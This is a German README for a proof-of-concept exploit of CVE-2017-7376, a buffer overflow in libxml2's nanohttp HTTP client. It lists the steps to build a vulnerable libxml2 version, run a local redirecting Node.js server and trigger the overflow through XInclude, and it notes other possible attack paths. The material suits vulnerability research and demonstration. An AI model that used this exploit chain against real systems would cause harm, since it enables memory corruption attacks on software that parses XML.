
Ein Beispiel-Exploit für CVE-2017-7376
Ein Beispiel-Exploit für CVE-2017-7376
Laden Sie dieses Repository und eine verwundbare Version von libxml2 herunter, z.B. v2.7.7:
git clone https://github.com/brahmstaedt/libxml2-exploit.git
cd libxml2-exploit
wget https://github.com/GNOME/libxml2/archive/v2.7.7.zip
unzip v2.7.7.zip
mv libxml2-2.7.7/ libxml2
cd libxml2
Um den Erfolg des Exploits besser sichtbar zu machen, fügen Sie Code hinzu, um den Pufferüberlauf in libxml2 zu erkennen. Nicht erforderlich, wenn Sie andere Sichtbarkeitsmöglichkeiten haben, wie z.B. den Absturz der Anwendung.
git apply ../nanohttp.patch
./autogen.sh --prefix=$(pwd)/ --without-python
make
make install
Falls der folgende Fehler auftritt:
aclocal: warning: autoconf input should be named 'configure.ac', not 'configure.in'
Ersetzen Sie in configure.in AM_C_PROTOTYPES durch dnl AM_C_PROTOTYPES, z.B. so:
sed 's:AM_C_PROTOTYPES:dnl AM_C_PROTOTYPES:' configure.in -i
Zurück
cd ..
Dieser Exploit benötigt einen Webserver, der mit einer Weiterleitung auf eine neue URL antwortet, deren Portnummer größer als 5 Stellen und kleiner als int32max (2147483648 = 2^32/2) ist.
Server starten (erfordert Node.js und dass Port 127.0.0.1:8080 frei ist):
node http.js &
Webserver testen; sollte sich über ungültige Portnummer 2147426192 beschweren:
wget localhost:8080
make
./run.sh
Erwartete Ausgabe:
Buffer overflow is detected
I/O warning : failed to load HTTP resource
buffer_overflow.xml:4: element include: XInclude error : could not load http://localhost:8080/dummy.xml, and no fallback was found
Failed to process include buffer_overflow.xml
Dieser Demo-Exploit erfordert, dass das Hauptprogramm xmlXIncludeProcess() ausführt, um den fehlerhaften Code in libxml2 zu erreichen, was in vielen tatsächlichen Implementierungen wahrscheinlich nicht verwendet wird. Aber nanohttp.c erwähnt im Kommentar, dass es sich um eine minimalistische HTTP-GET-Implementierung zum Abrufen externer Teilmengen handelt, was einen weiteren Angriffsweg bieten könnte.